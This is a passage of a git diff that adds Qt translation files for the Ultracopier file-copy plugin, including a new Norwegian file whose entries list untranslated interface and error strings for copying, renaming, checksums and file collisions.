+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/no/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/no/translation.ts
new file mode 100644
index 0000000..3362659
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/no/translation.ts
@@ -0,0 +1,1289 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
